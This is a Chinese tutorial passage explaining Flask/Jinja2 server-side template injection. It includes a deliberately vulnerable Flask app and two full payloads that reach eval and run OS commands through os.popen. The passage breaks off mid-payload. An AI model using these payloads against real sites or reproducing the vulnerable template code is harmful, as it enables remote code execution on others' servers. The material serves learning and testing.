一、Flask SSTI 常见Payload分析
前置知识
class
类似于python 中的type方法
base 和 bases
我们看到下方的例子,A的父类是继承Base1和 Bases2,第一行print打印base只返回了一个父类,第二行bases打印了A的全部父类
subclasses
name
_globals
mro
payload分析
接着我们看一段存在漏洞的源码:
from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route('/') #路由地址,如果里面是/123那么就是当访问127.0.0.1/123的时候就会触发这个路由下的方法
def index(): #路由对应的函数 这个函数对应视图这一部分name = request.args.get('name', 'gust') #获取用户的输入,如果没有获取到name这个参数默认为gustt = Template("Hello " + name) #设置模板 把hello 和 name拼接return t.render() #渲染模板并返回if __name__ == '__main__':app.run(port=80) #启动网站 设置80端口
这个源码就是上次的源码,有两个payload,一个用base获取object另一个用mro来获取:
payload1:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
payload2:
{% for c in [].__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
接着我们打开网站,给name传入参数进行运算,可以看到是成功执行了的:
接下来我们就需要去获得object类,再用object类去找到更多我们能利用的类,我们用字符串来获取它的类,用.__class__来获得:
发现并没有输出,但是我们查看源代码确发现输出了,由于html把尖括号认为是标签所以就没有输出:
刚刚我们已经获得了str类,我们接着来看一下它的继承类:
它在第0个位置上有一个object类,返回的是元组,我们直接在后面加上一个0就获得了object类:
我们接着去获取object的子类用subclasses:
会发现有很多的子类,我们回头看payload,用列表的方式获取到了object所有的类,跟我们刚才用字符串来找类是相同效果,object有很多的子类,如果用人工去筛查出来是低效率,我们就用for循环出来,用__name__获取类名,再用if去筛选我们需要的类:
{% for i in ''.__class__.__base__.__subclasses__()